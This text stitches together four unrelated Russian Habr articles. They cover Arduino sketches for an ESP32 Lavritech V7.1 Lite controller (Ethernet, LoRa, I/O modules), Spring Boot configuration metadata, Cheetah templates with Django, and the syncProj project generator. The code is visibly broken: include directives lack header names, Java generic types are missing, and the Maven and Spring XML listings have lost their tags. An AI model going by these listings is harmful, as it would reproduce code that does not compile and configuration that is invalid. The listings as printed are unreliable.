Всё содержимое Lavritech V7.1 Lite можно условно разделить на три части: ядро (ESP32 и всё, что находится на материнской плате), внутренние подключаемые модули и внешние стыкуемые блоки на DIN-рейку.
В этой статье я расскажу о программировании ядра контроллера и внутренних подключаемых модулей, а вопросам работы с внешними Wirenboard блоками на DIN-рейку будет посвящена отдельная статья.
Итак, как же программировать это чудо техники?
Готовые прошивки
----------------
Поскольку ядро контроллера Lavritech V7.1 Lite содержит ESP32, то программировать его можно как угодно в любой из множества поддерживающих его сред программирования. А можно вместо программирования воспользоваться одной из готовых общедоступных прошивок для ESP32.
Сами разработчики придерживаются второго варианта, по их задумке необходимая конфигурация контроллера набирается из типовых блоков и модулей, как в конструкторе Lego, затем заливается готовая прошивка — и контроллер готов к работе.
Этот способ имеет множество достоинств: вам не нужно быть программистом, не нужно тратить время на написание софта (а также его отладку и прочие процедуры), не нужно ничего изобретать — просто залили прошивку и ввели контроллер в строй. Для многих людей, которым нужно просто быстро решить какую-то свою прикладную задачу по автоматизации это хорошее решение.
Самих общедоступных прошивок для ESP32 существует множество и на любой вкус. В этой статье я не буду останавливаться на описании работы с готовыми прошивками (в интернете более чем достаточно информации и инструкций по ним). Далее мы поговорим о гораздо более интересной теме — самостоятельном программировании Lavritech V7.1 Lite.
Самостоятельное программирование
--------------------------------
Этот вариант подходит не всем, а только тем у кого есть время и желание заниматься программированием. Но зато самостоятельно программируя микроконтроллер, вы получаете полную свободу и можете реализовать все свои «хотелки» и так, как хочется именно вам.
Мне всегда был ближе второй вариант и я всегда предпочитал не «рыбу», а «удочку», поэтому никогда не использовал (и не планирую использовать) готовые прошивки.
Кроме этого, самостоятельно программируя микроконтроллер, вы можете не только реализовывать типовые функции, доступные в готовых прошивках, а создавать собственную IoT архитектуру с уникальным функционалом отдельных контроллеров.
***Пояснение.** Вычислительная мощность ESP32 такова, что (каждый) микроконтроллер в IoT сети может содержать в себе и управление «железом» и развитый веб-интерфейс и многослойную логику верхнего уровня, что делает лишним использование (дорогих, прожорливых в плане энергопотребления и часто «дырявых» в конкретной реализации) мини-компьютеров на Linux (но ни одна готовая прошивка для ESP32 не предоставляет такого функционала).*
В общем, для меня не стоит вопрос «использовать готовые прошивки или самому запрограммировать Lavritech V7.1 Lite», тем более, что речь идёт о ESP32, который предоставляет для этого все возможности.
Начинаем программировать
------------------------
Как я уже заметил выше, программировать ESP32 (Lavritech V7.1 Lite) можно в любой из множества сред программирования. Вы можете использовать для этого вашу любимую IDE, я же буду программировать и приводить примеры кода для Arduino (версии 1.8.5).
Программирование контроллеров на ESP32 можно разделить на несколько частей:
**0** — программирование самого ESP32
**1** — программирование подключённых компонентов
**2** — программирование коммуникационных функций
**3** — программирование прикладной логики разных уровней
**4** — программирование веб-интерфейса (если есть)
В этой статье мы поговорим о 0-м и 1-м аспектах, то есть о программировании самого ESP32 и подключённых к нему компонентов.
Для того, чтобы создать сколько-нибудь функциональную прошивку, сначала нужно научиться работать с отдельными её частями. Далее я последовательно разберу «атомарное» программирование отдельных компонентов Lavritech V7.1 Lite.
Распиновка
----------
Начнём с распиновки. Иллюстрация ниже должна многое сказать вам об устройстве Lavritech V7.1 Lite. Если что-то непонятно, то далее мы будем часто возвращаться к этой распиновке и использовать её в своей работе (я постараюсь дать необходимые пояснения).
Тут мы видим 2 SPI интерфейса для беспроводного LoRa модуля и сетевой платы на W5500, а также многофункциональные GPIO (I36, S1\_RX, S1\_TX, S3\_RX, S3\_TX, S3\_G1, S3\_G2), выведенные в различные разъёмы на материнской плате.
Начнём с разбора программирования Ethernet интерфейса Lavritech V7.1 Lite.
Ethernet интерфейс на W5500
---------------------------
Использование Ethernet интерфейса на W5500 несколько нетипично для контроллеров на ESP32. Обычно в этом качестве используются чипы «физики» LAN8270A. Нельзя сказать, что W5500 это однозначно плохой вариант, сам по себе чип W5500 имеет 8 аппаратных сокетов и прекрасно работает в микроконтроллерах. Возможно, LAN8270A — это более правильный вариант, но и W5500, на мой взгляд, это вполне приемлемо.
В случае Lavritech V7.1 Lite, W5500 «посажен» на нестандартные пины SPI интерфейса MISO (15), MOSI (2), SCK(0) и CS(4), что не смертельно, но потребует от нас некоторых дополнительных телодвижений по их настройке.
***Примечание.** На ESP32 нам доступны для пользовательского программирования SPI2 (HSPI) и SPI3 (VSPI) с пинами по умолчанию, соответственно 12,13, 14,15 и 5, 18,19, 23.*
В качестве примера создадим скетч для получения точного времени с NTP сервера в интернете. Для работы нам понадобится библиотека [Ethernet Library for Arduino](https://github.com/arduino-libraries/Ethernet).
```
/*
Ethernet test (Lavritech V7.1 Lite)
*/
#include
#include
#include
#define ETH\_MISO 15
#define ETH\_MOSI 2
#define ETH\_SCK 0
#define ETH\_SS 4
byte mac[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};
EthernetUDP Udp;
unsigned int localPort = 8888;
const char timeServer[] = "time.nist.gov";
const int NTP\_PACKET\_SIZE = 48;
byte packetBuffer[NTP\_PACKET\_SIZE];
void setup() {
Serial.begin(115200);
Serial.println(F("Start..."));
SPI.begin(ETH\_SCK, ETH\_MISO, ETH\_MOSI, ETH\_SS);
initEth();
Serial.println(F("loop..."));
} // setup
void initEth() {
Serial.println(F("initEth..."));
Ethernet.init(ETH\_SS);
if (Ethernet.begin(mac) == 0) {
Serial.println(F("Failed to configure Ethernet using DHCP"));
delay(2000);
if (Ethernet.hardwareStatus() == EthernetNoHardware) {
Serial.println(F("Shield not found"));
}
if (Ethernet.linkStatus() == LinkOFF) {
Serial.println("Cable not connected.");
}
while(true) {}
} else {
Serial.println(F("Start Eth & UDP"));
Udp.begin(localPort);
}
} // initEth()
void sendNTPpacket(const char \* address) {
memset(packetBuffer, 0, NTP\_PACKET\_SIZE);
packetBuffer[0] = 0b11100011;
packetBuffer[1] = 0;
packetBuffer[2] = 6;
packetBuffer[3] = 0xEC;
packetBuffer[12] = 49;
packetBuffer[13] = 0x4E;
packetBuffer[14] = 49;
packetBuffer[15] = 52;
Udp.beginPacket(address, 123); // NTP requests are to port 123
Udp.write(packetBuffer, NTP\_PACKET\_SIZE);
Udp.endPacket();
}
void parse() {
if (Udp.parsePacket()) {
Udp.read(packetBuffer, NTP\_PACKET\_SIZE);
unsigned long highWord = word(packetBuffer[40], packetBuffer[41]);
unsigned long lowWord = word(packetBuffer[42], packetBuffer[43]);
unsigned long secsSince1900 = highWord << 16 | lowWord;
const unsigned long seventyYears = 2208988800UL;
unsigned long epoch = secsSince1900 - seventyYears;
Serial.print("UTC time is ");
Serial.print((epoch % 86400L) / 3600); Serial.print(":");
if (((epoch % 3600) / 60) < 10) {Serial.print('0');}
Serial.print((epoch % 3600) / 60); Serial.print(':');
if ((epoch % 60) < 10) {Serial.print('0');}
Serial.println(epoch % 60);
}
}
void checkTime() {
sendNTPpacket(timeServer);
delay(2000);
parse();
Ethernet.maintain();
}
void loop() {
checkTime();
//displayTime();
delay(5000);
}
```
Здесь периодически посылаются запросы и получаются ответы с точным временем от NTP сервера. Сам скетч разбирать, я думаю, нет смысла — там всё очевидно. Замечу только, что наш Ethernet модуль на W5500 нормально работает в связке с ESP32 на плате Lavritech V7.1 Lite.
Работа с LoRa модулем
---------------------
Моя ревизия платы Lavritech V7.1 Lite предусматривает установку популярных китайских LoRa модулей (с обратной стороны платы). Плата также содержит SMA разъём для подключения LoRa антенны. Сама по себе полезность наличия беспроводной LoRa связи в контроллере не вызывает сомнений, остаётся только задействовать этот модуль в коде прошивки.
В целом, это несложная и привычная задача, небольшая сложность в данном случае заключается в том, что базовый VSPI уже занят Ethernet интерфейсом, а LoRa модуль «посажен» на нестандартные пины 19 (MISO), 27 (MOSI), 5 (CLK).
В результате нам придётся применить немного магии и переназначить дефолтные пины HSPI интерфейса на нестандартные пины подключённого LoRa модуля.
Также нам нужно определить и задействовать прочие GPIO обслуживания LoRa модуля NSS (21), RST (18) и D0 (12).
```
/*
LoRa Sender (Lavritech V7.1 Lite)
*/
#include
#include
#define LORA\_MISO 19
#define LORA\_MOSI 27
#define LORA\_CLK 5
#define LORA\_NSS 21
#define LORA\_RST 18
#define LORA\_D0 12
SPIClass hhSPI(HSPI);
long count = 0;
void setup() {
Serial.begin(115200);
Serial.println(F("Start LoRa Sender..."));
hhSPI.begin(LORA\_CLK, LORA\_MISO, LORA\_MOSI, LORA\_NSS);
LoRa.setSPI(hhSPI);
LoRa.setPins(LORA\_NSS, LORA\_RST, LORA\_D0);
if (!LoRa.begin(868E6)) {
Serial.println(F("Starting LoRa failed"));
while(true);
}
}
void loop() {
Serial.print(F("Sending packet: ")); Serial.println(count);
LoRa.beginPacket();
LoRa.print(F("Sending packet: ")); LoRa.print(count);
LoRa.endPacket();
count++;
delay(5000);
}
```
Этот скетч формирует и каждые 5 секунд посылает в эфир LoRa пакеты данных. Другими словами, нам удалось успешно задействовать работу двух устройств (Ethernet и LoRa) на двух SPI интерфейсах ESP32 с подключением к нестандартным номерам GPIO.
И контроль реальных посылок LoRa пакетов в эфир при помощи популярной программы SDRSharp. Всё работает отлично и именно так, как и ожидалось.
Кнопки на плате
---------------
На плате Lavritech V7.1 Lite имеются две кнопки, которые пользователь может применять для собственных нужд. Это кнопка USER (SAFE) на GPIO34 и кнопка (переключатель) SWTH на GPIO35. Программирование их тривиально и не требует особых пояснений.
```
/*
Keys test (Lavritech V7.1 Lite)
*/
#define KEY_USER 34
#define KEY_SWTH 35
void setup() {
Serial.begin(115200);
Serial.println(F("Keys test starting..."));
pinMode(KEY_USER, INPUT);
pinMode(KEY_SWTH, INPUT);
}
void loop() {
Serial.print(F("USER: ")); Serial.println(digitalRead(KEY_USER));
Serial.print(F("SWTH: ")); Serial.println(digitalRead(KEY_SWTH));
Serial.println();
delay(1000);
}
```
Кнопка SWITCH на моей плате отсутствует. Кнопка USER в исходном состоянии выдаёт «1», в при нажатии — «0».
Далее от распаянных на материнской плате компонентов переходим к разбору программирования подключаемых (и, при необходимости, отключаемых) внутренних Wirenboard модулей.
Wirenboard модуль WBE2-DI-DR-3
------------------------------
Вообще, подобных модулей в ассортименте Wirenboard и прочих производителей существует огромное количество, на любой вкус и на любые потребности по автоматизации. В моём распоряжении имеется несколько таких модулей, один из которых WBE2-DI-DR-3 (3 входа «сухой контакт»), с этого модуля мы и начнём разбор их программирования.
Как вы помните из предыдущей статьи, Wirenboard разъёмы на плате Lavritech V7.1 Lite могут быть сконфигурированы либо как I2C, либо как UART (GPIO). В моём случае один из двух Wirenboard разъёмов сконфигурирован как I2C (WB1.2), а второй как UART (WB1.1).
Поскольку модуль WBE2-DI-DR-3 предназначен для работы с обычными линиями GPIO (не I2C), то очевидно, что подключать его нужно именно к WB1.1. Здесь бы не помешала схема самого модуля WBE2-DI-DR-3, но, к сожалению, Wirenboard не раскрывает схемы своих модулей, поэтому ограничимся только общедоступной распиновкой разъёма.
В контексте программирования нас интересуют контакты TX, RX и RTS, выделенные синим цветом. Это ни что иное, как нужные нам (входные со стороны ESP32) линии GPIO. На немного странные названия в данном случае можно не обращать внимания, TX, RX и RTS — это всего лишь обозначения одних из возможных ролей этих GPIO линий.
Чтобы определить к каким конкретно линиям GPIO подключены контакты TX, RX и RTS в разъёме WB1.1 идём на сайт производителя и видим следующую распиновку:
И устанавливаем, что RX это GPIO25, TX это GPIO26, а RTS это GPIO22. Далее — дело техники, создаём соответствующий скетч и как угодно работаем с входными цифровыми сигналами через модуль WBE2-DI-DR-3.
***Примечание.** Обозначенные зелёным цветом R19, R20 и R26 — это конфигурационные резисторы (перемычки), которые и подключают GPIO25, GPIO26 и GPIO22 к контактам разъёма WB1.1 (видны на фото выше).*
```
/*
DI test (Wirenboard WBE2-DI-DR-3)
*/
#define DI1 25 // S1_RX
#define DI2 26 // S1_TX
#define DI3 22 // S3_G2
void setup() {
Serial.begin (115200);
Serial.println(F("Start DI test..."));
pinMode(DI1, INPUT);
pinMode(DI2, INPUT);
pinMode(DI3, INPUT);
}
void loop() {
Serial.print(F("DI1: ")); Serial.println(digitalRead(DI1));
Serial.print(F("DI2: ")); Serial.println(digitalRead(DI2));
Serial.print(F("DI3: ")); Serial.println(digitalRead(DI3));
Serial.println();
delay(2000);
}
```
В целом, если один раз понять логику организации внутренних разъёмов Lavritech V7.1 Lite, то подключение и программирование внутренних Wirenboard и EUHP модулей становится простым и понятным делом.
Wirenboard модуль WBE2-DO-OC-2
------------------------------
Wirenboard модуль WBE2-DO-OC-2 — это 2 выхода «открытый коллектор». Согласно информации с сайта производителя, коммутацией занимается N-канальный полевой транзистор (в составе сборки), максимальное коммутируемое напряжение 40 В постоянного тока, максимальный коммутируемый ток 1 А (на каждый канал).
Подключение WBE2-DO-OC-2 к Lavritech V7.1 Lite тоже не составляет никаких проблем — поскольку речь идёт о простом управлении при помощи GPIO, то устанавливать этот модуль нужно в тот же разъёме WB1.1.
Поскольку такой разъём на плате Lavritech V7.1 Lite всего один, то мы можем использовать либо модуль WBE2-DI-DR-3, либо WBE2-DO-OC-2, но не оба одновременно, для этого нужно уже работать с полной версией контроллера Lavritech V7.1 (без приставки Lite), где в наличии имеется большее количество разъёмов.
Либо нам нужно перепаять резисторы R21-R24 и соответствующим образом переконфигурировать разъём WB1.2 (I2C/UART).
*Схема подключения нагрузки к выходам модуля WBE2-DO-OC-2 с сайта Wirenboard.*
Скетч управления выходами. Здесь задействованы уже знакомые нам GPIO25 и GPIO26 (GPIO22 «отдыхает»). Выходы модуля подключены на колодку к контактам Q1.1 (DO2) и Q2.1 (DO1).
```
/*
DO test (Wirenboard WBE2-DO-OC-2)
*/
#define DO1 25 // S1_RX
#define DO2 26 // S1_TX
#define PERIOD 5000
void setup() {
Serial.begin (115200);
Serial.println(F("Start DO test..."));
pinMode(DO1, OUTPUT);
pinMode(DO2, OUTPUT);
}
void loop() {
Serial.println(F("HIGH"));
digitalWrite(DO1, HIGH); // Q2
digitalWrite(DO2, HIGH); // Q1
delay(PERIOD);
digitalWrite(DO1, LOW);
digitalWrite(DO2, LOW);
delay(PERIOD);
}
```
Этот скетч раз в 5 секунд (синхронно) включает и выключает выходы с открытым коллектором модуля WBE2-DO-OC-2, подключённого к разъёму WB1.1 (региона/сокета S1). Далее с этими выходами можно делать всё, что угодно, в соответствии с логикой решаемой вами задачи по автоматизации.
В моём распоряжении есть ещё два модуля интерфейса RS485 производства Wirenboard (WBE2-I-RS485-ISO) и Lavritech (RS485 V1), но это обширная тема и разбор их подключения и программирования я оставлю для отдельной статьи.
Заключение
----------
В этой статье мы разобрали программирование внутренних модулей контроллера Lavritech V7.1 Lite, в следующей статье я познакомлю вас с программированием внешних подключаемых Wirenboard блоков на DIN-рейку, ассортимент которых поражает воображение своим разнообразием (и позволяет решить чуть ли не любую задачу по автоматизации).
[](https://cloud.timeweb.com/vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/691994/ | null | ru | null |
# Настройка приложения — Spring Configuration Metadata
Настройка приложения с помощью `@ConfigurationProperties`, как альтернатива использованию `@Value`.
В статье
* Настройка и изменение функционала приложения через application.properties с использованием ConfigurationProperties
* Интеграция application.properties с IDE
* Проверка значений настроек
Про отличия между двумя подходами сказано здесь — [ConfigurationProperties vs. Value](https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html#boot-features-external-config-vs-value)
На картинке выше основной состав и принцип работы. Доступные компоненты системы, это Spring компоненты, просто классы, различные константы, переменные и пр. можно указать в файле application.properties, при этом еще на момент указания средой разработки будут предложены варианты, сделаны проверки. При старте приложения указанные значения будут проверенны на соответствие типа, ограничениям и если все удовлетворяет, то будет выполнен старт приложения. Например очень удобно настраивать функционал приложения из списка доступных Spring компонент, ниже покажу как.
> Класс свойств
Для создания настройки приложения с использованием ConfigurationProperties, можно начать с класса свойств. В нем собственно указаны свойства, компоненты системы которые хотим настраивать.
**AppProperties.java**
```
@ConfigurationProperties(prefix = "demo")
@Validated
public class AppProperties {
private String vehicle;
@Max(value = 999, message = "Value 'Property' should not be greater than 999")
private Integer value;
private Map contexts;
private StrategyEnum strategyEnum;
private Resource resource;
private DemoService service;
public String getVehicle() {
return vehicle;
}
public void setVehicle(String vehicle) {
this.vehicle = vehicle;
}
public Map getContexts() {
return contexts;
}
public void setContexts(Map contexts) {
this.contexts = contexts;
}
public StrategyEnum getStrategyEnum() {
return strategyEnum;
}
public void setStrategyEnum(StrategyEnum strategyEnum) {
this.strategyEnum = strategyEnum;
}
public Resource getResource() {
return resource;
}
public void setResource(Resource resource) {
this.resource = resource;
}
public DemoService getService() {
return service;
}
public void setService(DemoService service) {
this.service = service;
}
public Integer getValue() {
return value;
}
public void setValue(Integer value) {
this.value = value;
}
@Override
public String toString() {
return "MyAppProperties{" +
"\nvehicle=" + vehicle +
"\n,contexts=" + contexts +
"\n,service=" + service +
"\n,value=" + value +
"\n,strategyEnum=" + strategyEnum +
'}';
}
}
```
В классе prefix=«demo» будет использоваться в application.properties, как префикс к свойству.
**Класс приложения SpringApplication и pom.xml проекта**
```
@SpringBootApplication
@EnableConfigurationProperties({AppProperties.class})
@ImportResource(value= "classpath:context.xml")
public class DemoConfigProcessorApplication {
public static void main(String[] args) {
ConfigurableApplicationContext context = SpringApplication.run(DemoConfigProcessorApplication.class, args);
AppProperties properties = context.getBean(AppProperties.class);
String perform = properties.getService().perform(properties.getVehicle());
System.out.println("perform: " + perform);
System.out.println(properties.toString());
}
}
```
```
xml version="1.0" encoding="UTF-8"?
4.0.0
com.example
demoConfigProcessor
0.0.1-SNAPSHOT
jar
demoConfigProcessor
Demo project for Spring Boot Configuration Processor
org.springframework.boot
spring-boot-starter-parent
2.1.0.RELEASE
UTF-8
UTF-8
1.8
org.springframework.boot
spring-boot-starter
org.springframework.boot
spring-boot-starter-validation
org.springframework.boot
spring-boot-configuration-processor
true
org.springframework.boot
spring-boot-starter-test
test
com.jayway.jsonpath
json-path
org.springframework.boot
spring-boot-maven-plugin
```
Тут я объявил два spring бина
**Spring контекст (context.xml)**
```
xml version="1.0" encoding="UTF-8"?
Description MyDemoService 1
Description MyDemoService 2
```
В классе AppProperties я указал ссылку на некоторый доступный сервис приложения, его я буду менять в application.properties, у меня будет две его реализации и я буду подключать одну из них в application.properties.
Вот их реализация
**DemoService**
```
public interface DemoService {
String perform(String value);
}
```
```
public class MyDemoService1 implements DemoService {
@Override
public String perform(String value) {
return "Service №1: perform routine maintenance work on <" + value +">";
}
}
```
```
public class MyDemoService2 implements DemoService {
@Override
public String perform(String value) {
return "Service №2: perform routine maintenance work on <" + value +">";
}
}
```
Вот этого уже теперь достаточно что бы начать настраивать application.properties. Но всякий раз когда вносятся изменения в класс с ConfigurationProperties, надо сделать **rebuild** проекта, после чего в проекте появится файл
`\target\classes\META-INF\spring-configuration-metadata.json` . Собственно его IDE использует для редактирования в файле application.properties. Его структуру я укажу в ссылке в материалах. Этот файл будет создан на основе класса AppProperties. Если теперь открыть файл application.properties и начать вводить «demo», то среда начнет показывать доступные свойства
При попытке ввести неверный тип IDE сообщит
Даже если оставить как есть и попытаться стартовать приложение, то будет вполне внятная ошибка
> Добавление дополнительных метаданных
Дополнительные метаданные, это только для удобства работы с application.properties в IDE, если это не надо, можно не делать. Для этого есть возможность указать в дополнительном файле подсказки (hints) и др. информацию для среды. Для этого скопирую созданный файл spring-configuration-metadata.json в `\src\main\resources\META-INF\` и переименую его в
`additional-spring-configuration-metadata.json`. В этом файле меня будет интересовать только секция «hints»: []
В ней можно будет перечислить например допустимые значения для demo.vehicle
```
"hints": [
{
"name": "demo.vehicle",
"values": [
{
"value": "car make A",
"description": "Car brand A is allowed."
},
{
"value": "car make B",
"description": "Car brand B is allowed."
}
]
}]
```
В поле «name» указано св-во «demo.vehicle», а в «values» список допустимых значений. Теперь если сделать rebuild проекта и перейти в файл application.properties, то при вводе demo.vehicle получу список допустимых значений
При вводе отличного от предложенного, но того же типа, редактор подсветит, но приложение в этом случае будет стартовать, так как это не строгое ограничение, а всего лишь подсказка.
Ранее в проекте я объявил два сервиса MyDemoService1 и MyDemoService2 оба они имплементируют интерфейс DemoService, теперь можно настроить чтобы application.properties были доступны только сервисы имплементирующие этот интерфейс и соответственно в AppProperties классе инициализировался выбранный. Для этого есть Providers их можно указать в additional-spring-configuration-metadata. Провайдеры есть нескольких типов их можно посмотреть в документации, я покажу пример для одного, — `spring-bean-reference`. Этот тип показывает имена доступных bean-компонентов в текущем проекте. Список ограничивается базовым классом или интерфейсом.
Пример Providers для DemoService:
```
"hints": [
{
"name": "demo.service",
"providers": [
{
"name": "spring-bean-reference",
"parameters": {
"target": "com.example.demoConfigProcessor.DemoService"
}
}
]
}
]
```
После чего в application.properties для параметра demo.service будет доступен выбор двух сервисов, можно посмотреть их описание (description из определения).
Теперь удобно выбирать нужный сервис, менять функционал приложения. Есть один момент для объектных настроек, Spring надо немного помочь конвертировать строку которая указана в настройке, в объект. Для этого делается небольшой класс наследник от Converter.
**ServiceConverter**
```
@Component
@ConfigurationPropertiesBinding
public class ServiceConverter implements Converter {
@Autowired
private ApplicationContext applicationContext;
@Override
public DemoService convert(String source) {
return (DemoService) applicationContext.getBean(source);
}
}
```
На диаграмме классов проекта видно как эти сервисы отделены от основного приложения и доступны через AppProperties.
> Validation property
К полям класса AppProperties можно добавить проверки доступные в рамках JSR 303. Про это я писал [здесь](https://habr.com/post/424819/). Получится проверяемый, удобный файл конфигурации приложения.
Вывод в консоли
Структура проекта
Полный файл additional-spring-configuration-metadata.json
**additional-spring-configuration-metadata**
```
{
"groups": [
{
"name": "demo",
"type": "com.example.demoConfigProcessor.AppProperties",
"sourceType": "com.example.demoConfigProcessor.AppProperties"
}
],
"properties": [
{
"name": "demo.contexts",
"type": "java.util.Map",
"sourceType": "com.example.demoConfigProcessor.AppProperties"
},
{
"name": "demo.vehicle",
"type": "java.lang.String",
"sourceType": "com.example.demoConfigProcessor.AppProperties"
}
],
"hints": [
{
"name": "demo.vehicle",
"values": [
{
"value": "car make A",
"description": "Car brand A is allowed."
},
{
"value": "car make B",
"description": "Car brand B is allowed."
}
]
},
{
"name": "demo.service",
"providers": [
{
"name": "spring-bean-reference",
"parameters": {
"target": "com.example.demoConfigProcessor.DemoService"
}
}
]
}
]
}
```
Материалы [Configuration Metadata](https://docs.spring.io/spring-boot/docs/current/reference/html/configuration-metadata.html) | https://habr.com/ru/post/430256/ | null | ru | null |
# Использование шаблонов Cheetah совместно с Django
Однажды появилась необходимость выбрать шаблонизатор для использования с Django. На одном встроенном решении останавливаться я не хотел, а провел небольшое исследование производительности и удобства использования разных продуктов.
На данный момент я выбрал Cheetah. Вот почему:
Производительность
------------------
В поисках хорошего шаблонизатора я наткнулся на статью «[Multi engine template system](http://groups.google.com/group/django-users/browse_thread/thread/f41b2434fc2ca5c9?pli=1)», в которой приводилось сравнение скорости отрисовки шаблона различными движками.
Тестирование проводилось на довольно простом шаблоне, который содержал:* строковую переменную ('hello world');
* обход списка в 100 элементов;
* вывод случайного числа;
* обход модели Django с выводом аттрибутов.
Явные лидеры теста — Cheetah и Mako. По этому и другим тестам Cheetah более чем в 2 раза быстрее шаблонизатора Django. Mako в 1.7..2 раза быстрее Django.
#### Для Cheetah я провел свое тестирование с более сложным шаблоном.
Базовый шаблон содержал три блока: title, scripts, content. От него наследовался шаблон страницы, переопределяющий эти блоки. В title помещалась строка, в scripts – результат обхода списка из 100 строк, в content – результат обхода 100 объектов с выводом пяти их свойств. Страница, использующая шаблон, вызывалась 100 раз. Время первого вызова не учитывалось.
В результате среднее время генерации страницы было:* Django – 437 ms;
* Cheetah – 211 ms.
Cheetah опять вдвое быстрее.
*Интересно было бы увидеть результаты тестирования Mako со сложным шаблоном (с наследованием и выводом списка объектов).*
Синтаксис
---------
Выбор между Mako и Cheetah я однозначно сделал из-за синтаксиса. Мне очень не нравится тегоподобный синтаксис большинства шаблонизаторов. Cheetah использует определенные символы для обозначения начала директивы и переменной. По умолчанию директивы начинаются с символа #, а переменные – с $. Это поведение можно переопределить используя директивы компилятора, что я и сделал:
```
#compiler-settings
directiveStartToken = ^
commentStartToken = #
#end compiler-settings
# выводим строку таблицы
^def makerow(row, class)
|
^for $cell in $row:
$cell |^slurp
^end for
^end def
```
Универсальность
---------------
У Cheetah и Python долгая совместная история (с 2001 года). На данный момент он поддерживается во всех серьезных веб-фреймворках на Python, в том числе в Django, TurboGears, Pylons...
Также его можно использовать и отдельно от каких-либо фреймворков.
Как прикрутить?
---------------
Существует проект [django-cheetahtemplate](http://code.google.com/p/django-cheetahtemplate/ "django-cheetahtemplate"), который позволяет легко переключиться на использование шаблонов Cheetah. Подключив django\_cheetahtemplates, вы получаете метод **render\_cheetah\_response**, который можно использовать вместо render\_to\_response. Еще можно подключить класс **CheetahTemplate**, который ведет себя аналогично классу Template из Django.
Какие-то проблемы?
------------------
Django разбирает шалон на ноды сложным регулярным выражением. Применение шаблона сводится к выполнению метода render() для каждой ноды в переданном контексте. Cheetah собирает каждый шаблон в python-класс. Это занимает больше времени, но, видимо, дает преимущество в производительности при использовании этого шаблона. Есть [мнение](http://www.artima.com/weblogs/viewpost.jsp?thread=146606 "Django vs. Cheetah: 1-0"), что такой подход может быть небезопасным: шаблон может обратиться к каким-то данным, которые ему знать не положено. При неумелом использовании шаблонов может нарушаться логическое разделение документа и его представления.
*Я считаю, что если нужна 100% универсальность и жесткое разделение данных и представления, то лучше использовать связку XML-XSLT. Правда, в этом случае для написания шаблона понадобится специально обученный человек, что не всегда удобно. И производительность у такого решения гораздо меньше.*
Наследование возможно только от скомпилированного шаблона. Чаще всего, это не является проблемой, т. к. базовые шаблоны пишутся в первую очередь, а компиляция делается одной командой (`cheetah compile template_name`) и занимает пару секунд. Кроме того, в ближайшее время я попробую автоматизировать эту операцию или найти готовое решение.
Что почитать
------------
* Cheetah [прекрасно документирован](http://www.cheetahtemplate.org/docs/learn.html "Official Documentation") на [официальном сайте](http://www.cheetahtemplate.org/ "CheetahTemplate");
* А вот [статья](http://www.artima.com/weblogs/viewpost.jsp?thread=146606 "Django vs. Cheetah: 1-0"), где Django победил Cheetah.
Важное дополнение про Jinja2
----------------------------
Слово Jinja встречается в комментариях 11 раз, чаще всего в хорошем контексте. Конечно, я не мог игнорировать такие рекомендации и поставил этот шаблонизатор. Слова по этому поводу читайте в [комментарии](http://habrahabr.ru/blogs/django/49636/#comment_1301428). | https://habr.com/ru/post/49636/ | null | ru | null |
# syncProj – утилита для генерации Visual Studio C++ проектов
syncProj – утилита для генерации Visual Studio C++ проектов.
Привет. Хочу поделится опытом написания генератора проектов для Visual Studio.
В общем до данного момента я сам активно применял [premake5](https://premake.github.io/) — да и в принципе по прежнему его променяю, но все-таки периодически натыкался на не-состыковки и прямые баги в premake5. Чинить premake5 особо энтузиазма не вызывало, т.к. premake5 базируется на скриптовом языке Lua, а это очередной язык программирования со своими замашками и приколами. В нашей фирме преобладают C++ и C#, я подумал почему бы не попробовать что-то новое и сделать его лаконично и опрятно.
В какой-то момент я экспериментировал с C# и знал, что C# можно скомпилировать и запустить на манер скрипта без особых заморочек – ну и подумал что буду генерировать C++ проект через C# скрипт.
Сначала разкопал Solution (.sln) file format, затем и C++ project file format (.vcxproj) – в принципе ничего особенного в них не было, просто данные. Microsoft наверное официально нигде не публиковал данные file formatы, пришлось частично искать информацию, частично самому reverse engineeriть.
Надо было набросать какую то классовую модель .vcxproj проектов – и сама модель на данный момент очень близка к .vcxproj, не самая оптимальная модель, зато проще подгрузить и Solution и Projectы – все грузится полу-мануально, и частично через C# reflection.
Впрочем начнём с самого простенького скрипта:
```
test.cs:
//css_ref syncproj.exe
using System;
partial class Builder : SolutionProjectBuilder
{
static void Main(String[] args)
{
solution("out_test");
platforms("Win32", "x64", "ARM", "ARM64");
project("out_test_windows");
platforms("Win32", "x64");
files("test.c");
filter("Debug");
defines("_DEBUG");
filter("Release");
defines("NDEBUG");
} //Main
}; //class Builder
```
Я подумал почему бы не придерживаться синтакса premake5, и сделать аналогичные функции – так что если в premake5 мы имеем defines { ”\_DEBUG” }, то в syncProj это вызов функции – defines (”\_DEBUG”);
Я постарался придерживаться абсолютного минимума, так что syncProj не делает ничего лишнего.
В принципе я не знаю станет ли syncProj популярным, будет ли community support, и прочее, так что что не хотелось загадывать в будущее и сделать утилиту простой и минимальной. Хотя по ходу дела я добавлял функции, которые не считаю самыми нужными, но например C# (.csproj) поддержку так и не добавил (хотя это и не сложно).
Практически сразу разработка закрутилась вокруг C# scriptов, то и появилась возможность дебаггировать сами скрипты с Visual Studio.
Tools > Extensions and update, в Онлайн галлерее можно найти ”CS-Script Tools”, которые позволяют дебаггировать C# скрипты, без необходимости создавать проекты.
Такие таги как //css\_ref, //css\_include взяты напрямую с C# scriptа, и я сам сделал их поддержку, через Regex.
Естественно с command line генерация проектов происходит вот так:
>syncproj.exe test.cs
test.cs :
3 files updated
Если сравнивать утилиты между собой, то cmake генерирует так же custom build action, где на CMakeLists.txt запускается сам cmake. В premake5 такого не происходит автоматом, но можно написать то же самое через определение custom build step. В syncProj я сделал специальную команду для этого – например projectScript(”test.cs); конфигурирует данный custom build step.
Самое интересное что должно происходить если один .cs скрипт, например, делится на два файла – test.cs и helpers.cs, где test.cs указывает на helpers.cs через css\_include – по идее при изменении хотя бы одного надо сгенерировать проекты заново. На данный момент — это сделано через additional dependencies, но ничего не мешает пользователю написать два раза projectScript для обеих скриптов. Очень удобно, например, генерировать проекты по Ctrl+F7, сразу же при изменении проекта.
Тестирование.
Как я вообще понял программисты нынче не особо любят делать софт без тестирования, т.к. если сложный код, надо как-то отслеживать что бы ничего не поломалось. С одной стороны, я их понимаю, с другой стороны — не особо охота корпеть над каждым тест кайсом. В общем подумал я подумал и сделал простенькую поддержку unit testинга.
